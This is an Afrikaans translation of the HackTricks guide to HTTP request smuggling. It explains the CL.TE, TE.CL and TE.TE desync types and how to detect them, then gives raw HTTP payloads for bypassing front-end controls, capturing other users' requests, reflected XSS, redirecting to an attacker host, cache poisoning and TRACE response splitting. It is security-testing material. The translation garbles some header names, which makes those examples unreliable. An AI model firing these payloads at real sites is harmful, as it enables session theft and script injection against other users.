Afrikaans - Ht
HackTricks Training Twitter Linkedin Sponsor

HTTP Request Smuggling / HTTP Desync Attack

Leer AWS hak van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Wat is

Hierdie kwesbaarheid kom voor wanneer 'n desinkronisasie tussen front-end proksies en die agterste bediener 'n aanvaller in staat stel om 'n HTTP aanvraag te stuur wat deur die front-end proksies (laaibalansering/omgekeerde proksie) as 'n enkele aanvraag en deur die agterste bediener as 2 aanvrae geïnterpreteer sal word. Dit stel 'n gebruiker in staat om die volgende aanvraag wat na die agterste bediener kom na hom te verander.

Teorie

RFC Spesifikasie (2161)

As 'n boodskap ontvang word met beide 'n Oorplasing-Kodering koperveld en 'n Inhouds-Lengte koperveld, moet die laaste geïgnoreer word.

Inhouds-Lengte

Die Inhouds-Lengte entiteitkop dui die grootte van die entiteitliggaam, in bytes, aan wat aan die ontvanger gestuur word.

Oorplasing-Kodering: stuksgewys

Die Oorplasing-Kodering kop spesifiseer die vorm van kodering wat gebruik word om die nutliggaam veilig na die gebruiker oor te dra. Stuksgewys beteken dat groot data in 'n reeks stukke gestuur word.

Werklikheid

Die Front-End ( 'n laaibalansering / Omgekeerde Proksie) verwerk die inhouds-lengte of die oorplasing-kodering kop en die Agterste bediener verwerk die ander een wat 'n desinkronisasie tussen die 2 stelsels veroorsaak. Dit kan baie krities wees omdat 'n aanvaller in staat sal wees om een aanvraag na die omgekeerde proksie te stuur wat deur die agterste bediener as 2 verskillende aanvrae geïnterpreteer sal word. Die gevaar van hierdie tegniek lê daarin dat die agterste bediener die 2de ingeslote aanvraag sal interpreteer asof dit van die volgende kliënt afkomstig is en die werklike aanvraag van daardie kliënt sal deel wees van die ingeslote aanvraag.

Besonderhede

Onthou dat in HTTP 'n nuwe lynkarakter uit 2 bytes bestaan:

  • Inhouds-Lengte: Hierdie kop gebruik 'n desimale nommer om die aantal bytes van die liggaam van die aanvraag aan te dui. Daar word verwag dat die liggaam eindig met die laaste karakter, 'n nuwe lyn is nie nodig aan die einde van die aanvraag.

  • Oorplasing-Kodering: Hierdie kop gebruik in die liggaam 'n heksadesimale nommer om die aantal bytes van die volgende stuk aan te dui. Die stuk moet eindig met 'n nuwe lyn maar hierdie nuwe lyn word nie getel deur die lengte-indikator nie. Hierdie oorplasingsmetode moet eindig met 'n stuk van grootte 0 gevolg deur 2 nuwe lyne: 0

  • Verbinding: Gebaseer op my ervaring word dit aanbeveel om Verbinding: aanhou te gebruik op die eerste aanvraag van die aanvraag Smokkelary.

Basiese Voorbeelde

Wanneer jy probeer om hierdie met Burp Suite te benut, deaktiveer Werk Inhouds-Lengte by en Normaliseer HTTP/1 lynafsluite in die herhaler omdat sommige toestelle nuwe lyne, karretjieterugslae en gebrekkige inhoudslengtes misbruik.

HTTP aanvraag smokkelary aanvalle word saamgestel deur dubbelsinnige aanvrae te stuur wat diskrepansies uitbuit in hoe front-end en agterste bedieners die Inhouds-Lengte (CL) en Oorplasing-Kodering (TE) koppe interpreteer. Hierdie aanvalle kan in verskillende vorme voorkom, hoofsaaklik as CL.TE, TE.CL, en TE.TE. Elke tipe verteenwoordig 'n unieke kombinasie van hoe die front-end en agterste bedieners hierdie koppe prioritiseer. Die kwesbaarhede ontstaan as gevolg van die bedieners wat dieselfde aanvraag op verskillende maniere verwerk, wat lei tot onverwagte en potensieel skadelike uitkomste.

Basiese Voorbeelde van Kwesbaarheidstipes

CL.TE Kwesbaarheid (Inhouds-Lengte gebruik deur Front-End, Oorplasing-Kodering gebruik deur Agter-End)

  • Front-End (CL): Verwerk die aanvraag op grond van die Inhouds-Lengte kop.

  • Agter-End (TE): Verwerk die aanvraag op grond van die Oorplasing-Kodering kop.

  • Aanvalscenario:

  • Die aanvaller stuur 'n aanvraag waar die waarde van die Inhouds-Lengte kop nie ooreenstem met die werklike inhoudslengte nie.

  • Die front-end bediener stuur die hele aanvraag na die agter-end, gebaseer op die Inhouds-Lengte waarde.

  • Die agter-end bediener verwerk die aanvraag as stuksgewys as gevolg van die Oorplasing-Kodering: stuksgewys kop, wat die oorblywende data interpreteer as 'n aparte, daaropvolgende aanvraag.

  • Voorbeeld:

POST / HTTP/1.1
Host: kwesbare-webwerf.com
Content-Length: 30
Connection: aanhou
Transfer-Encoding: stuksgewys

0

GET /404 HTTP/1.1
Foo: x

TE.CL Kwesbaarheid (Oorplasing-Kodering gebruik deur Front-End, Inhouds-Lengte gebruik deur Agter-End)

  • Front-End (TE): Verwerk die aanvraag op grond van die Oorplasing-Kodering kop.

  • Agter-End (CL): Verwerk die aanvraag op grond van die Inhouds-Lengte kop.

  • Aanvalscenario:

  • Die aanvaller stuur 'n stuksgewyse aanvraag waar die stukgrootte (7b) en werklike inhoudslengte (Inhouds-Lengte: 4) nie ooreenstem nie.

  • Die front-end bediener, ter wille van Oorplasing-Kodering, stuur die hele aanvraag na die agter-end.

  • Die agter-end bediener, met inagneming van Inhouds-Lengte, verwerk slegs die aanvanklike deel van die aanvraag (7b byte), en laat die res as deel van 'n onbedoelde daaropvolgende aanvraag.

  • Voorbeeld:

POST / HTTP/1.1
Host: kwesbare-webwerf.com
Content-Length: 4
Connection: aanhou
Transfer-Encoding: stuksgewys

7b
GET /404 HTTP/1.1
Host: kwesbare-webwerf.com
Content-Type: aansoek/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Kwesbaarheid (Oordrag-Kodering gebruik deur beide, met verduistering)

  • Bedieners: Beide ondersteun Oordrag-Kodering, maar een kan bedrieg word om dit te ignoreer deur verduistering.

  • Aanvalscenario:

  • Die aanvaller stuur 'n versoek met verduisterde Oordrag-Kodering-koppe.

  • Afhangende van watter bediener (voorste of agterste) nie die verduistering herken nie, kan 'n CL.TE of TE.CL kwesbaarheid uitgebuit word.

  • Die onverwerkte deel van die versoek, soos deur een van die bedieners gesien, word deel van 'n daaropvolgende versoek, wat tot smokkelary lei.

  • Voorbeeld:

POST / HTTP/1.1
Host: kwesbare-webwerf.com
Oordrag-Kodering: xchunked
Oordrag-Kodering : chunked
Oordrag-Kodering: chunked
Oordrag-Kodering: x
Oordrag-Kodering: chunked
Oordrag-Kodering: x
Oordrag-Kodering:[tab]chunked
[spasie]Oordrag-Kodering: chunked
X: X[\n]Oordrag-Kodering: chunked

Oordrag-Kodering
: chunked

CL.CL Scenario (Inhouds-lengte gebruik deur beide Voorste-End en Agterste-End):

  • Beide bedieners verwerk die versoek uitsluitlik op grond van die Inhouds-lengte-kop.

  • Hierdie scenario lei tipies nie tot smokkelary nie, aangesien daar ooreenstemming is oor hoe beide bedieners die versoeklengte interpreteer.

  • Voorbeeld:

POST / HTTP/1.1
Host: kwesbare-webwerf.com
Inhouds-lengte: 16
Verbinding: hou-aan

Normale Versoek

CL != 0 Scenario:

  • Verwys na scenario's waar die Inhouds-lengte-kop teenwoordig is en 'n waarde anders as nul het, wat aandui dat die versoekliggaam inhoud het.

  • Dit is noodsaaklik om smokkelary-aanvalle te verstaan en te skep, aangesien dit beïnvloed hoe bedieners die einde van 'n versoek bepaal.

  • Voorbeeld:

POST / HTTP/1.1
Host: kwesbare-webwerf.com
Inhouds-lengte: 16
Verbinding: hou-aan

Nie-Leë Liggaam

Die webbediener breek

Hierdie tegniek is ook nuttig in scenario's waar dit moontlik is om 'n webbediener te breek terwyl die aanvanklike HTTP-data gelees word maar sonder om die verbinding te sluit. Op hierdie manier sal die liggaam van die HTTP-versoek beskou word as die volgende HTTP-versoek.

Byvoorbeeld, soos verduidelik in hierdie uiteensetting, was dit moontlik om in Werkzeug sekere Unicode karakters te stuur en dit sal die bediener breek. Tog, as die HTTP-verbinding geskep is met die kop Verbinding: hou-aan, sal die liggaam van die versoek nie gelees word nie en die verbinding sal nog oop wees, sodat die liggaam van die versoek as die volgende HTTP-versoek hanteer sal word.

Afdwinging via hop-vir-hop koppe

Deur hop-vir-hop koppe te misbruik, kan jy die proksi aandui om die kop Inhouds-lengte of Oordrag-Kodering te verwyder sodat 'n HTTP-versoeksmokkelary moontlik is om misbruik te word.

Connection: Content-Length

Vir meer inligting oor hop-by-hop koppe besoek:

pagehop-by-hop headers

Die Identifisering van HTTP-aanvraag-smokkel

Die identifisering van HTTP-aanvraag-smokkel kwesbaarhede kan dikwels bereik word deur gebruik te maak van tydtegnieke, wat afhang van die waarneming van hoe lank dit neem vir die bediener om te reageer op gemanipuleerde aanvrae. Hierdie tegnieke is veral nuttig vir die opsporing van CL.TE en TE.CL kwesbaarhede. Benewens hierdie metodes is daar ander strategieë en gereedskap wat gebruik kan word om sulke kwesbaarhede te vind:

Die Identifisering van CL.TE Kwesbaarhede deur Tydtegnieke te Gebruik

  • Metode:

  • Stuur 'n aanvraag wat, as die toepassing kwesbaar is, die agterste bediener sal laat wag vir addisionele data.

  • Voorbeeld:

POST / HTTP/1.1
Host: kwesbare-webwerf.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

  • Waarneming:

  • Die voorste bediener verwerk die aanvraag op grond van Content-Length en sny die boodskap vroegtydig af.

  • Die agterste bediener, wat 'n gechunke boodskap verwag, wag vir die volgende stuk wat nooit aankom nie, wat 'n vertraging veroorsaak.

  • Aanwysers:

  • Time-outs of lang vertragings in respons.

  • Ontvang 'n 400 Bad Request fout van die agterste bediener, soms met gedetailleerde bedienerinligting.

Die Identifisering van TE.CL Kwesbaarhede deur Tydtegnieke te Gebruik

  • Metode:

  • Stuur 'n aanvraag wat, as die toepassing kwesbaar is, die agterste bediener sal laat wag vir addisionele data.

  • Voorbeeld:

POST / HTTP/1.1
Host: kwesbare-webwerf.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X

  • Waarneming:

  • Die voorste bediener verwerk die aanvraag op grond van Transfer-Encoding en stuur die hele boodskap voort.

  • Die agterste bediener, wat 'n boodskap verwag op grond van Content-Length, wag vir addisionele data wat nooit aankom nie, wat 'n vertraging veroorsaak.

Ander Metodes om Kwesbaarhede te Vind

  • Differensiële Responsanalise:

  • Stuur effens gevarieerde weergawes van 'n aanvraag en let op of die bedienerresponsies op 'n onverwagte manier verskil, wat 'n parsingsdiskrepansie aandui.

  • Die Gebruik van Geoutomatiseerde Gereedskap:

  • Gereedskap soos Burp Suite se 'HTTP Request Smuggler' uitbreiding kan outomaties toets vir hierdie kwesbaarhede deur verskeie vorme van dubbelsinnige aanvrae te stuur en die responsies te analiseer.

  • Content-Length Variansietoetse:

  • Stuur aanvrae met wisselende Content-Length waardes wat nie ooreenstem met die werklike inhoudslengte nie en let op hoe die bediener sulke wanpassings hanteer.

  • Transfer-Encoding Variansietoetse:

  • Stuur aanvrae met geobskureerde of verkeerd geformuleerde Transfer-Encoding koppe en monitor hoe anders die voorste en agterste bedieners reageer op sulke manipulasies.

Toetsing van HTTP-aanvraag-smokkel-kwesbaarhede

Nadat die doeltreffendheid van tydtegnieke bevestig is, is dit noodsaaklik om te verifieer of kliëntaanvrae gemanipuleer kan word. 'n Eenvoudige metode is om jou aanvrae te probeer vergiftig, byvoorbeeld deur 'n aanvraag na / te maak wat 'n 404 respons veroorsaak. Die CL.TE en TE.CL voorbeelde wat vroeër bespreek is in Basiese Voorbeelde demonstreer hoe om 'n kliënt se aanvraag te vergiftig om 'n 404 respons uit te lok, ten spyte van die kliënt wat probeer om 'n ander hulpbron te bereik.

Belangrike Oorwegings

Wanneer jy toets vir aanvraag-smokkel-kwesbaarhede deur inmenging met ander aanvrae, moet jy in gedagte hou:

  • Duidelike Netwerkverbindings: Die "aanval" en "normale" aanvrae moet oor afsonderlike netwerkverbindings gestuur word. Die gebruik van dieselfde verbinding vir beide valideer nie die teenwoordigheid van die kwesbaarheid nie.

  • Konstante URL en Parameters: Mik daarop om identiese URL's en parametername vir beide aanvrae te gebruik. Moderne toepassings roeteer dikwels aanvrae na spesifieke agterste bedieners op grond van URL en parameters. Om hierdie te laat ooreenstem, verhoog die waarskynlikheid dat beide aanvrae deur dieselfde bediener verwerk word, 'n voorvereiste vir 'n suksesvolle aanval.

  • Tyd en Wedren-toestande: Die "normale" aanvraag, bedoel om inmenging van die "aanval" aanvraag te ontdek, kompeteer teen ander gelyktydige toepassingsaanvrae. Stuur dus die "normale" aanvraag onmiddellik na die "aanval" aanvraag. Besige toepassings mag verskeie pogings vereis vir 'n oortuigende bevestiging van die kwesbaarheid.

  • Lasbalanseringsuitdagings: Voorste bedieners wat as lasbalanserings optree, kan aanvrae oor verskeie agterste stelsels versprei. As die "aanval" en "normale" aanvrae op verskillende stelsels beland, sal die aanval nie slaag nie. Hierdie lasbalanseringsaspek mag verskeie pogings vereis om 'n kwesbaarheid te bevestig.

  • Onbedoelde Gebruikerimpak: As jou aanval onbedoeld 'n impak het op 'n ander gebruiker se aanvraag (nie die "normale" aanvraag wat jy gestuur het vir opsporing nie), dui dit daarop dat jou aanval 'n invloed gehad het op 'n ander toepassingsgebruiker. Aanhoudende toetsing kan ander gebruikers ontwrig, wat 'n versigtige benadering vereis.

Die Misbruik van HTTP-aanvraag-smokkel

Die Omseil van Voorste-Eind Sekuriteit deur HTTP-aanvraag-smokkel

Soms dwing voorste-eind proksi sekuriteitsmaatreëls af deur inkomende aanvrae te ondersoek. Nietemin kan hierdie maatreëls omseil word deur HTTP-aanvraag-smokkel te misbruik, wat ongemagtigde toegang tot beperkte eindpunte moontlik maak. Byvoorbeeld, toegang tot /admin mag ekstern verbied word, met die voorste-eind proksi wat sulke pogings aktief blokkeer. Nietemin mag hierdie proksi nalaat om ingeslote aanvrae binne 'n gesmokkelde HTTP-aanvraag te ondersoek, wat 'n gaping laat vir die omseiling van hierdie beperkings.

Oorweeg die volgende voorbeelde wat illustreer hoe HTTP-aanvraag-smokkel gebruik kan word om voorste-eind sekuriteitsbeheer te omseil, spesifiek gerig op die /admin pad wat tipies bewaak word deur die voorste-eind proksi:

CL.TE Voorbeeld

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

In die CL.TE-aanval word die Content-Length-kop gekapitaliseer vir die aanvanklike versoek, terwyl die daaropvolgende ingeslote versoek die Transfer-Encoding: chunked-kop gebruik. Die front-end proksi verwerk die aanvanklike POST-versoek, maar misluk om die ingeslote GET /admin-versoek te inspekteer, wat ongemagtigde toegang tot die /admin-roete moontlik maak.

TE.CL Voorbeeld

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Onthulling van front-end versoek herskrywing

Toepassings maak dikwels gebruik van 'n front-end bediener om inkomende versoek te wysig voordat dit na die agterste bediener gestuur word. 'n Tipiese wysiging behels die byvoeging van koppe, soos X-Forwarded-For: <IP van die klient>, om die klient se IP na die agterste bediener te stuur. Die begrip van hierdie wysigings kan krities wees, aangesien dit moontlik maniere kan onthul om beskermings te omseil of verskuilde inligting of eindpunte te ontbloot.

Om te ondersoek hoe 'n proksi 'n versoek verander, vind 'n POST-parameter wat die agterste galm in die antwoord. Stel dan 'n versoek op, waarin hierdie parameter laaste gebruik word, soortgelyk aan die volgende:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

In hierdie struktuur word daaropvolgende versoekkomponente bygevoeg na search=, wat die parameter is wat in die respons weerspieël word. Hierdie weerspieëling sal die koppe van die daaropvolgende versoek blootstel.

Dit is belangrik om die Content-Length-kop van die geneste versoek te belyn met die werklike inhoudslengte. Dit is aan te beveel om met 'n klein waarde te begin en geleidelik te verhoog, aangesien 'n te lae waarde die weerspieëlde data kan afsny, terwyl 'n te hoë waarde die versoek kan laat misluk.

Hierdie tegniek is ook toepaslik in die konteks van 'n TE.CL-skwetsbaarheid, maar die versoek moet eindig met search=\r\n0. Ongeag die nuwe lynkarakters, sal die waardes aan die soekparameter aangeheg word.

Hierdie metode dien hoofsaaklik om die versoekmodifikasies wat deur die front-end proksi gedoen word, te verstaan, en voer in wese 'n selfgerigte ondersoek uit.

Vaslegging van ander gebruikers se versoek

Dit is moontlik om die versoek van die volgende gebruiker vas te lê deur 'n spesifieke versoek as die waarde van 'n parameter tydens 'n POST-operasie by te voeg. Hier is hoe dit gedoen kan word:

Deur die volgende versoek as die waarde van 'n parameter by te voeg, kan jy die daaropvolgende klient se versoek stoor:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

In hierdie scenario is die kommentaarparameter bedoel om die inhoud binne 'n pos se kommentaarafdeling op 'n openlik toeganklike bladsy te stoor. Gevolglik sal die inhoud van die volgende versoek as 'n kommentaar verskyn.

Hierdie tegniek het egter beperkinge. Dit vang gewoonlik slegs data op tot by die parametergrens wat in die gesmokkelde versoek gebruik word. Vir URL-gekodeerde vormindienings is hierdie grens die & karakter. Dit beteken dat die opgevangde inhoud van die slagoffer se versoek sal stop by die eerste &, wat selfs deel van die soekreeks kan wees.

Daarbenewens is dit die moeite werd om daarop te let dat hierdie benadering ook lewensvatbaar is met 'n TE.CL kwesbaarheid. In sulke gevalle behoort die versoek af te sluit met soek=\r\n0. Ongeag nuwe lynkarakters sal die waardes aan die soekparameter geheg word.

Die gebruik van HTTP-versoeksmokkeling om weerspieëlde XSS uit te buit

HTTP-versoeksmokkeling kan gebruik word om webbladsye wat vatbaar is vir Weerspieëlde XSS uit te buit, met aansienlike voordele:

  • Interaksie met die teikengebruikers is nie nodig nie.

  • Maak die uitbuiting van XSS in dele van die versoek wat normaalweg onbereikbaar is, soos HTTP-versoekkoppe.

In scenario's waar 'n webwerf vatbaar is vir Weerspieëlde XSS deur die Gebruiker-Agent kop, demonstreer die volgende lading hoe om hierdie kwesbaarheid uit te buit:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Hierdie lading is gestruktureer om die kwesbaarheid te misbruik deur:

  1. 'n POST versoek te inisieer, ogenschijnlik tipies, met 'n Transfer-Encoding: chunked kop om die begin van smokkelary aan te dui.

  2. Vervolg met 'n 0, wat die einde van die gechunke boodskap aandui.

  3. Daarna word 'n gesmokkelde GET versoek ingevoer, waar die User-Agent kop geïnjecteer word met 'n skripsie, <script>alert(1)</script>, wat die XSS trigger wanneer die bediener hierdie daaropvolgende versoek verwerk.

Deur die User-Agent te manipuleer deur smokkelary, omseil die lading normale versoekbeperkings en misbruik dus die Reflected XSS-kwesbaarheid op 'n nie-standaard maar effektiewe wyse.

HTTP/0.9

In die geval waar die gebruikerinhoud weerspieël word in 'n respons met 'n Content-type soos text/plain, wat die uitvoering van die XSS voorkom. As die bediener HTTP/0.9 ondersteun, kan dit moontlik wees om dit te omseil!

Die weergawe HTTP/0.9 was voorheen tot die 1.0 en gebruik slegs GET werkwoorde en reageer nie met koppe nie, net die liggaam.

In hierdie uiteensetting, is dit misbruik met 'n versoeksmokkelary en 'n kwesbare eindpunt wat sal antwoord met die invoer van die gebruiker om 'n versoek met HTTP/0.9 te smokkel. Die parameter wat in die respons weerspieël sal word, het 'n vals HTTP/1.1 respons (met koppe en liggaam) bevat, sodat die respons geldige uitvoerbare JS-kode met 'n Content-Type van text/html sal bevat.

Uitbuiting van On-site Aanwysings met HTTP Versoeksmokkelary

Toepassings rig dikwels van die een URL na die ander deur die gasheernaam van die Host kop in die aanwysings-URL te gebruik. Dit is algemeen met webbedieners soos Apache en IIS. Byvoorbeeld, 'n versoek vir 'n vouer sonder 'n skuinsstreep aan die einde lei tot 'n aanwysing om die skuinsstreep in te sluit:

GET /home HTTP/1.1
Host: normal-website.com

Resultate:

Hierdie tegniek kan gebruik word om 'n HTTP-aanvraagsmokkelingsaanval uit te voer teen 'n webbediener.

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Alhoewel dit skynbaar onskadelik is, kan hierdie gedrag gemanipuleer word deur gebruik te maak van HTTP-aanvraagsmokkelary om gebruikers na 'n eksterne webwerf te skakel. Byvoorbeeld:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Hierdie gesmokkelde versoek kan veroorsaak dat die volgende verwerkte gebruikersversoek na 'n aanvallerbeheerde webwerf omgelei word:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Resultate:

Hierdie tegniek kan gebruik word om 'n HTTP-aanvraagsmokkelingsaanval uit te voer. Die aanval kan gebruik word om aanvalle soos aanvraagverdraaiing en sessie-oorkaping uit te voer.

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

In hierdie scenario word 'n gebruiker se versoek vir 'n JavaScript-lêer gekaap. Die aanvaller kan potensieel die gebruiker compromitteer deur kwaadwillige JavaScript as reaksie te dien.

Uitbuiting van Web Cache Vergiftiging via HTTP Versoek Smokkelary

Web cache vergiftiging kan uitgevoer word as enige komponent van die front-end infrastruktuur inhoud in die cache stoor, tipies om prestasie te verbeter. Deur die server se reaksie te manipuleer, is dit moontlik om die cache te vergiftig.

Vroeër het ons waargeneem hoe server reaksies verander kon word om 'n 404-fout terug te gee (sien Basiese Voorbeelde). Op soortgelyke wyse is dit moontlik om die server te mislei om /index.html inhoud te stuur as reaksie op 'n versoek vir /static/include.js. Gevolglik word die inhoud van /static/include.js in die cache vervang met dié van /index.html, wat /static/include.js ontoeganklik maak vir gebruikers, moontlik leiend tot 'n Dienste-ontkenning (DoS).

Hierdie tegniek word veral kragtig as 'n Oop Aanstuurbaarheid kwesbaarheid ontdek word of as daar 'n aan-site aanstuurbaarheid na 'n oop aanstuurbaarheid is. Sulke kwesbaarhede kan uitgebuit word om die gekaapte inhoud van /static/include.js te vervang met 'n skrip onder beheer van die aanvaller, wat essensieel 'n wye Kruis-webwerf Skripsinspuiting (XSS) aanval teen alle kliënte wat die opgedateerde /static/include.js versoek, moontlik maak.

Hieronder is 'n illustrasie van die uitbuiting van cache vergiftiging gekombineer met 'n aan-site aanstuurbaarheid na 'n oop aanstuurbaarheid. Die doel is om die cache inhoud van /static/include.js te verander om JavaScript-kode wat deur die aanvaller beheer word, te dien:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Merk die ingeslote versoek wat mik op /post/next?postId=3. Hierdie versoek sal na /post?postId=4 omgelei word, deur die Host-kopwaarde te gebruik om die domein te bepaal. Deur die Host-kop te verander, kan die aanvaller die versoek na hul domein omlei (op-webwerf omleiding na oop omleiding).

Na suksesvolle socket vergiftiging, moet 'n GET-versoek vir /static/include.js geïnisieer word. Hierdie versoek sal besmet word deur die vorige op-webwerf omleiding na oop omleiding versoek en die inhoud van die skrip wat deur die aanvaller beheer word, oplaai.

Daarna sal enige versoek vir /static/include.js die gekaapte inhoud van die aanvaller se skrip dien, wat effektief 'n breë XSS-aanval lanceer.

Gebruik van HTTP-versoeksmokkelary om webgekasseringbedrog uit te voer

Wat is die verskil tussen webkasseringvergiftiging en webkasseringbedrog?

  • In webkasseringvergiftiging veroorsaak die aanvaller dat die toepassing 'n paar skadelike inhoud in die kassering stoor, en hierdie inhoud word vanuit die kassering aan ander toepassingsgebruikers bedien.

  • In webkasseringbedrog veroorsaak die aanvaller dat die toepassing 'n paar sensitiewe inhoud wat aan 'n ander gebruiker behoort, in die kassering stoor, en die aanvaller haal dan hierdie inhoud uit die kassering.

Die aanvaller stel 'n gesmokkelde versoek op wat sensitiewe gebruikerspesifieke inhoud oplaai. Oorweeg die volgende voorbeeld:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Indien hierdie gesmokkelde versoek 'n kasinskrywing vergiftig wat bedoel is vir statiese inhoud (bv. /someimage.png), kan die slagoffer se sensitiewe data vanaf /private/messages gekas onder die kasinskrywing van die statiese inhoud. Gevolglik kan die aanvaller moontlik hierdie gekas sensitiewe data terugwin.

Misbruik van TRACE via HTTP-versoeksmokkelary

In hierdie pos word voorgestel dat as die bediener die metode TRACE geaktiveer het, dit moontlik misbruik kan word met 'n HTTP-versoeksmokkelary. Dit is omdat hierdie metode enige kop wat aan die bediener gestuur word, as deel van die liggaam van die respons sal weerspieël. Byvoorbeeld:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Sal stuur 'n antwoord soos:

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

'n Voorbeeld van hoe om hierdie gedrag te misbruik sou wees om eers 'n HEAD-aanvraag te smokkel. Hierdie aanvraag sal beantwoord word met slegs die koppe van 'n GET-aanvraag (Content-Type onder hulle). En smokkel onmiddellik na die HEAD 'n TRACE-aanvraag in, wat die gestuurde data sal weerspieël. Aangesien die HEAD-reaksie 'n Content-Length-kop bevat, sal die reaksie van die TRACE-aanvraag behandel word as die liggaam van die HEAD-reaksie, wat dus arbitrêre data weerspieël in die reaksie. Hierdie reaksie sal na die volgende aanvraag oor die verbinding gestuur word, sodat dit byvoorbeeld gebruik kan word in 'n gekaapte JS-lêer om arbitrêre JS-kode in te spuit.

Misbruik van TRACE via HTTP-reaksiesplitsing

Gaan voort om hierdie pos te volg, daar word voorgestel om 'n ander manier te misbruik om die TRACE-metode te misbruik. Soos daarop gewys word, is dit moontlik om deur 'n HEAD-aanvraag en 'n TRACE-aanvraag te smokkel om sekere weerspieëlde data in die reaksie op die HEAD-aanvraag te beheer. Die lengte van die liggaam van die HEAD-aanvraag word basies aangedui in die Content-Length-kop en word gevorm deur die reaksie op die TRACE-aanvraag.

Daarom sou die nuwe idee wees dat, deur hierdie Content-Length en die data wat in die TRACE-reaksie gegee word te ken, dit moontlik is om te maak dat die TRACE-reaksie 'n geldige HTTP-reaksie bevat na die laaste byte van die Content-Length, wat 'n aanvaller in staat stel om die aanvraag na die volgende reaksie heeltemal te beheer (wat gebruik kan word om 'n kashering te doen).

Voorbeeld:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Sal gen hierdie reaksies genereer (let op hoe die HEAD-reaksie 'n Inhoudslengte het wat die TRACE-reaksie deel van die HEAD-lyf maak en sodra die HEAD Inhoudslengte eindig, word 'n geldige HTTP-reaksie gesmokkel):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Bewapening van HTTP-aanvraagsmokkel met HTTP-antwoorddesynchronisatie

Het het jy 'n HTTP-aanvraagsmokkel kwesbaarheid gevind en weet nie hoe om dit te benut nie. Probeer hierdie ander metode van uitbuiting:

pageHTTP Response Smuggling / Desync

Ander HTTP-aanvraagsmokkel tegnieke

  • Browser HTTP-aanvraagsmokkel (Kliëntkant)

pageBrowser HTTP Request Smuggling

  • Aanvraagsmokkel in HTTP/2 Aftakelings

pageRequest Smuggling in HTTP/2 Downgrades

Turbo indringer skripte

CL.TE

Van https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
